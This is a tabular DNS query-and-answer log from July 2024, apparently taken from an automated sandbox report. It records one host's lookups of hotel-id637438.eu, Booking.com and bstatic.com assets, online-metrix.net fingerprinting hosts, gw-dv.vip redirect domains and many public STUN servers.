Jul 9, 2024 00:44:37.426136971 CEST	192.168.2.6	1.1.1.1	0x2973	Standard query (0)	doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:37.427004099 CEST	192.168.2.6	1.1.1.1	0x79f7	Standard query (0)	doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:44:37.692414999 CEST	192.168.2.6	1.1.1.1	0xe9c5	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:37.736052990 CEST	192.168.2.6	1.1.1.1	0xebaa	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:38.773587942 CEST	192.168.2.6	1.1.1.1	0xb252	Standard query (0)	doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:38.773740053 CEST	192.168.2.6	1.1.1.1	0xaa39	Standard query (0)	doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:44:46.824563026 CEST	192.168.2.6	1.1.1.1	0xe3a4	Standard query (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:46.825417042 CEST	192.168.2.6	1.1.1.1	0x3b3a	Standard query (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 9, 2024 00:43:24.790457964 CEST	1.1.1.1	192.168.2.6	0x8951	No error (0)	hotel-id637438.eu			65	IN (0x0001)	false
Jul 9, 2024 00:43:24.790925026 CEST	1.1.1.1	192.168.2.6	0x5dfa	No error (0)	hotel-id637438.eu		172.67.199.147	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:24.790925026 CEST	1.1.1.1	192.168.2.6	0x5dfa	No error (0)	hotel-id637438.eu		104.21.44.120	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:26.477124929 CEST	1.1.1.1	192.168.2.6	0x708	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:26.478045940 CEST	1.1.1.1	192.168.2.6	0xa52c	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 9, 2024 00:43:26.523507118 CEST	1.1.1.1	192.168.2.6	0x48d8	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:27.065769911 CEST	1.1.1.1	192.168.2.6	0xfa43	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:27.210359097 CEST	1.1.1.1	192.168.2.6	0xf6ad	No error (0)	t-cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:27.211931944 CEST	1.1.1.1	192.168.2.6	0x1c29	No error (0)	t-cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:27.211931944 CEST	1.1.1.1	192.168.2.6	0x1c29	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.31	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:27.211931944 CEST	1.1.1.1	192.168.2.6	0x1c29	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.62	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:27.211931944 CEST	1.1.1.1	192.168.2.6	0x1c29	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.93	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:27.211931944 CEST	1.1.1.1	192.168.2.6	0x1c29	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.21	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:27.582178116 CEST	1.1.1.1	192.168.2.6	0xed51	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:27.582178116 CEST	1.1.1.1	192.168.2.6	0xed51	No error (0)	h-doregtzf.online-metrix.net		192.225.158.254	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:28.716463089 CEST	1.1.1.1	192.168.2.6	0xe6d7	No error (0)	hotel-id637438.eu			65	IN (0x0001)	false
Jul 9, 2024 00:43:28.716533899 CEST	1.1.1.1	192.168.2.6	0xc93a	No error (0)	hotel-id637438.eu		104.21.44.120	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:28.716533899 CEST	1.1.1.1	192.168.2.6	0xc93a	No error (0)	hotel-id637438.eu		172.67.199.147	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.378840923 CEST	1.1.1.1	192.168.2.6	0x596f	No error (0)	www.booking.com	d1of1hbywxxm65.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:29.956458092 CEST	1.1.1.1	192.168.2.6	0x6016	No error (0)	www.booking.com	d1of1hbywxxm65.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:29.956458092 CEST	1.1.1.1	192.168.2.6	0x6016	No error (0)	d1of1hbywxxm65.cloudfront.net		52.85.61.64	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.956458092 CEST	1.1.1.1	192.168.2.6	0x6016	No error (0)	d1of1hbywxxm65.cloudfront.net		52.85.61.78	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.956458092 CEST	1.1.1.1	192.168.2.6	0x6016	No error (0)	d1of1hbywxxm65.cloudfront.net		52.85.61.119	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.956458092 CEST	1.1.1.1	192.168.2.6	0x6016	No error (0)	d1of1hbywxxm65.cloudfront.net		52.85.61.84	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.962541103 CEST	1.1.1.1	192.168.2.6	0xb590	No error (0)	h.online-metrix.net		91.235.132.130	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.963973999 CEST	1.1.1.1	192.168.2.6	0xfcf9	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:30.758703947 CEST	1.1.1.1	192.168.2.6	0x51c0	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:30.758703947 CEST	1.1.1.1	192.168.2.6	0x51c0	No error (0)	h-doregtzf.online-metrix.net		192.225.158.254	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:30.809340000 CEST	1.1.1.1	192.168.2.6	0xa074	No error (0)	h.online-metrix.net		91.235.132.130	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:30.902786970 CEST	1.1.1.1	192.168.2.6	0xd75f	No error (0)	h64.online-metrix.net		192.225.158.1	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:31.159626007 CEST	1.1.1.1	192.168.2.6	0xa5c1	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:31.622514963 CEST	1.1.1.1	192.168.2.6	0xe143	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:31.622514963 CEST	1.1.1.1	192.168.2.6	0xe143	No error (0)	h-doregtzf.online-metrix.net		192.225.158.254	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:31.664282084 CEST	1.1.1.1	192.168.2.6	0x4130	No error (0)	doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net		192.225.158.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.073312998 CEST	1.1.1.1	192.168.2.6	0x34fa	No error (0)	www.booking.com	d1of1hbywxxm65.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:32.302182913 CEST	1.1.1.1	192.168.2.6	0xec8c	No error (0)	aa.online-metrix.net		91.235.132.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.537319899 CEST	1.1.1.1	192.168.2.6	0xefb0	No error (0)	www.booking.com	d1of1hbywxxm65.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:32.537319899 CEST	1.1.1.1	192.168.2.6	0xefb0	No error (0)	d1of1hbywxxm65.cloudfront.net		52.85.61.64	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.537319899 CEST	1.1.1.1	192.168.2.6	0xefb0	No error (0)	d1of1hbywxxm65.cloudfront.net		52.85.61.78	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.537319899 CEST	1.1.1.1	192.168.2.6	0xefb0	No error (0)	d1of1hbywxxm65.cloudfront.net		52.85.61.119	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.537319899 CEST	1.1.1.1	192.168.2.6	0xefb0	No error (0)	d1of1hbywxxm65.cloudfront.net		52.85.61.84	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.623301983 CEST	1.1.1.1	192.168.2.6	0xb4d7	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:32.623301983 CEST	1.1.1.1	192.168.2.6	0xb4d7	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:32.623301983 CEST	1.1.1.1	192.168.2.6	0xb4d7	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.783924103 CEST	1.1.1.1	192.168.2.6	0x603	No error (0)	ls.cdn-gw-dv.vip	all.cdn-gw-dv.vip.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:32.960397959 CEST	1.1.1.1	192.168.2.6	0x23d	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:32.960397959 CEST	1.1.1.1	192.168.2.6	0x23d	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:32.960397959 CEST	1.1.1.1	192.168.2.6	0x23d	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.010346889 CEST	1.1.1.1	192.168.2.6	0x3e58	No error (0)	doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net		192.225.158.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.010355949 CEST	1.1.1.1	192.168.2.6	0x2e0f	No error (0)	ls.cdn-gw-dv.vip	all.cdn-gw-dv.vip.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.010355949 CEST	1.1.1.1	192.168.2.6	0x2e0f	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		47.246.50.207	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.010364056 CEST	1.1.1.1	192.168.2.6	0xa5b6	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.010364056 CEST	1.1.1.1	192.168.2.6	0xa5b6	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.014760017 CEST	1.1.1.1	192.168.2.6	0x8dc8	No error (0)	aa.online-metrix.net		91.235.132.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.084285975 CEST	1.1.1.1	192.168.2.6	0x47e5	No error (0)	stun.1und1.de		212.227.67.33	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.084285975 CEST	1.1.1.1	192.168.2.6	0x47e5	No error (0)	stun.1und1.de		212.227.67.34	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085055113 CEST	1.1.1.1	192.168.2.6	0x384c	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085055113 CEST	1.1.1.1	192.168.2.6	0x384c	No error (0)	natisevil.aasip.co.uk		81.187.30.115	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085063934 CEST	1.1.1.1	192.168.2.6	0x7de8	No error (0)	stun.12voip.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085063934 CEST	1.1.1.1	192.168.2.6	0x7de8	No error (0)	stun.12voip.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085063934 CEST	1.1.1.1	192.168.2.6	0x7de8	No error (0)	stun.12voip.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085063934 CEST	1.1.1.1	192.168.2.6	0x7de8	No error (0)	stun.12voip.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085186958 CEST	1.1.1.1	192.168.2.6	0x1f8a	No error (0)	stun.acrobits.cz		85.17.88.164	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085196018 CEST	1.1.1.1	192.168.2.6	0x3aa9	No error (0)	stun.actionvoip.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085196018 CEST	1.1.1.1	192.168.2.6	0x3aa9	No error (0)	stun.actionvoip.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085196018 CEST	1.1.1.1	192.168.2.6	0x3aa9	No error (0)	stun.actionvoip.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.085196018 CEST	1.1.1.1	192.168.2.6	0x3aa9	No error (0)	stun.actionvoip.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.086251020 CEST	1.1.1.1	192.168.2.6	0x3c1c	No error (0)	stun.bluesip.net		217.74.179.29	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.086816072 CEST	1.1.1.1	192.168.2.6	0x93a1	No error (0)	stun.cablenet-as.net		213.140.209.236	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.087579012 CEST	1.1.1.1	192.168.2.6	0xfa63	No error (0)	stun.twt.it		82.113.193.63	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.088037014 CEST	1.1.1.1	192.168.2.6	0x53df	No error (0)	stun.tel.lu		85.93.219.114	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.088047981 CEST	1.1.1.1	192.168.2.6	0x5066	No error (0)	stun.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.088397026 CEST	1.1.1.1	192.168.2.6	0x4764	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.088397026 CEST	1.1.1.1	192.168.2.6	0x4764	No error (0)	stun.1und1.de		212.227.67.33	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.088397026 CEST	1.1.1.1	192.168.2.6	0x4764	No error (0)	stun.1und1.de		212.227.67.34	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.088799953 CEST	1.1.1.1	192.168.2.6	0xc5e9	No error (0)	stun.uls.co.za		154.73.34.4	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.088799953 CEST	1.1.1.1	192.168.2.6	0xc5e9	No error (0)	stun.uls.co.za		154.73.34.8	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.089225054 CEST	1.1.1.1	192.168.2.6	0x77de	No error (0)	stun.usfamily.net		64.131.63.217	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.089225054 CEST	1.1.1.1	192.168.2.6	0x77de	No error (0)	stun.usfamily.net		64.131.63.216	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.089490891 CEST	1.1.1.1	192.168.2.6	0xd8a9	No error (0)	stun.telbo.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.089490891 CEST	1.1.1.1	192.168.2.6	0xd8a9	No error (0)	stun.telbo.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.089490891 CEST	1.1.1.1	192.168.2.6	0xd8a9	No error (0)	stun.telbo.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.089490891 CEST	1.1.1.1	192.168.2.6	0xd8a9	No error (0)	stun.telbo.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.089819908 CEST	1.1.1.1	192.168.2.6	0x7610	No error (0)	stun1.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.090218067 CEST	1.1.1.1	192.168.2.6	0xaf18	No error (0)	stun3.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.090452909 CEST	1.1.1.1	192.168.2.6	0x363a	No error (0)	stun2.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.091960907 CEST	1.1.1.1	192.168.2.6	0x269e	No error (0)	stun4.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.092025995 CEST	1.1.1.1	192.168.2.6	0xe712	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.093305111 CEST	1.1.1.1	192.168.2.6	0x9972	No error (0)	stun.antisip.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.094227076 CEST	1.1.1.1	192.168.2.6	0x9b1b	No error (0)	stun.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.096535921 CEST	1.1.1.1	192.168.2.6	0xe77c	No error (0)	stun1.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.096544981 CEST	1.1.1.1	192.168.2.6	0x411f	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.097209930 CEST	1.1.1.1	192.168.2.6	0x9e97	No error (0)	stun2.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.097739935 CEST	1.1.1.1	192.168.2.6	0xb010	No error (0)	stun3.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.097748995 CEST	1.1.1.1	192.168.2.6	0xc557	No error (0)	stun4.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.097807884 CEST	1.1.1.1	192.168.2.6	0x3d9a	No error (0)	stun.antisip.com		94.23.17.185	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.114984989 CEST	1.1.1.1	192.168.2.6	0x3bfe	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.115700960 CEST	1.1.1.1	192.168.2.6	0x87a7	No error (0)	stun.antisip.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.115943909 CEST	1.1.1.1	192.168.2.6	0x7658	No error (0)	stun.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.117544889 CEST	1.1.1.1	192.168.2.6	0xcdce	No error (0)	stun1.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.118638039 CEST	1.1.1.1	192.168.2.6	0x7d2f	No error (0)	stun2.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.118647099 CEST	1.1.1.1	192.168.2.6	0x5bc4	No error (0)	stun3.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.119697094 CEST	1.1.1.1	192.168.2.6	0x2429	No error (0)	stun4.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:33.129228115 CEST	1.1.1.1	192.168.2.6	0x296f	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.150439024 CEST	1.1.1.1	192.168.2.6	0xcdd8	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.150439024 CEST	1.1.1.1	192.168.2.6	0xcdd8	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.150439024 CEST	1.1.1.1	192.168.2.6	0xcdd8	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:33.150439024 CEST	1.1.1.1	192.168.2.6	0xcdd8	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.581034899 CEST	1.1.1.1	192.168.2.6	0xe42e	No error (0)	cdn.cookielaw.org			65	IN (0x0001)	false
Jul 9, 2024 00:43:33.581192970 CEST	1.1.1.1	192.168.2.6	0xa90e	No error (0)	cdn.cookielaw.org		104.19.177.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.581192970 CEST	1.1.1.1	192.168.2.6	0xa90e	No error (0)	cdn.cookielaw.org		104.19.178.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.283068895 CEST	1.1.1.1	192.168.2.6	0xa83	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.283068895 CEST	1.1.1.1	192.168.2.6	0xa83	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.283421040 CEST	1.1.1.1	192.168.2.6	0x2f45	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.283421040 CEST	1.1.1.1	192.168.2.6	0x2f45	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.283421040 CEST	1.1.1.1	192.168.2.6	0x2f45	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.21	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.283421040 CEST	1.1.1.1	192.168.2.6	0x2f45	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.93	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.283421040 CEST	1.1.1.1	192.168.2.6	0x2f45	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.62	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.283421040 CEST	1.1.1.1	192.168.2.6	0x2f45	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.31	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.483258963 CEST	1.1.1.1	192.168.2.6	0xdfaa	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.483258963 CEST	1.1.1.1	192.168.2.6	0xdfaa	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.483258963 CEST	1.1.1.1	192.168.2.6	0xdfaa	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.494031906 CEST	1.1.1.1	192.168.2.6	0x6092	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.494031906 CEST	1.1.1.1	192.168.2.6	0x6092	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.944664955 CEST	1.1.1.1	192.168.2.6	0xbc94	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.944664955 CEST	1.1.1.1	192.168.2.6	0xbc94	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.944664955 CEST	1.1.1.1	192.168.2.6	0xbc94	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:34.944664955 CEST	1.1.1.1	192.168.2.6	0xbc94	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:35.044430017 CEST	1.1.1.1	192.168.2.6	0xab0	No error (0)	q.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:35.044430017 CEST	1.1.1.1	192.168.2.6	0xab0	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:35.044430017 CEST	1.1.1.1	192.168.2.6	0xab0	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:35.046367884 CEST	1.1.1.1	192.168.2.6	0x2c69	No error (0)	q.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:35.046367884 CEST	1.1.1.1	192.168.2.6	0x2c69	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:35.046367884 CEST	1.1.1.1	192.168.2.6	0x2c69	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:35.046367884 CEST	1.1.1.1	192.168.2.6	0x2c69	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:35.046367884 CEST	1.1.1.1	192.168.2.6	0x2c69	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:35.046367884 CEST	1.1.1.1	192.168.2.6	0x2c69	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:35.046367884 CEST	1.1.1.1	192.168.2.6	0x2c69	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:35.380567074 CEST	1.1.1.1	192.168.2.6	0x3dcc	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:35.380567074 CEST	1.1.1.1	192.168.2.6	0x3dcc	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:35.380567074 CEST	1.1.1.1	192.168.2.6	0x3dcc	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:36.000617981 CEST	1.1.1.1	192.168.2.6	0xc13b	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:36.000617981 CEST	1.1.1.1	192.168.2.6	0xc13b	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:36.000617981 CEST	1.1.1.1	192.168.2.6	0xc13b	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:36.000617981 CEST	1.1.1.1	192.168.2.6	0xc13b	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:36.000617981 CEST	1.1.1.1	192.168.2.6	0xc13b	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:36.000617981 CEST	1.1.1.1	192.168.2.6	0xc13b	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
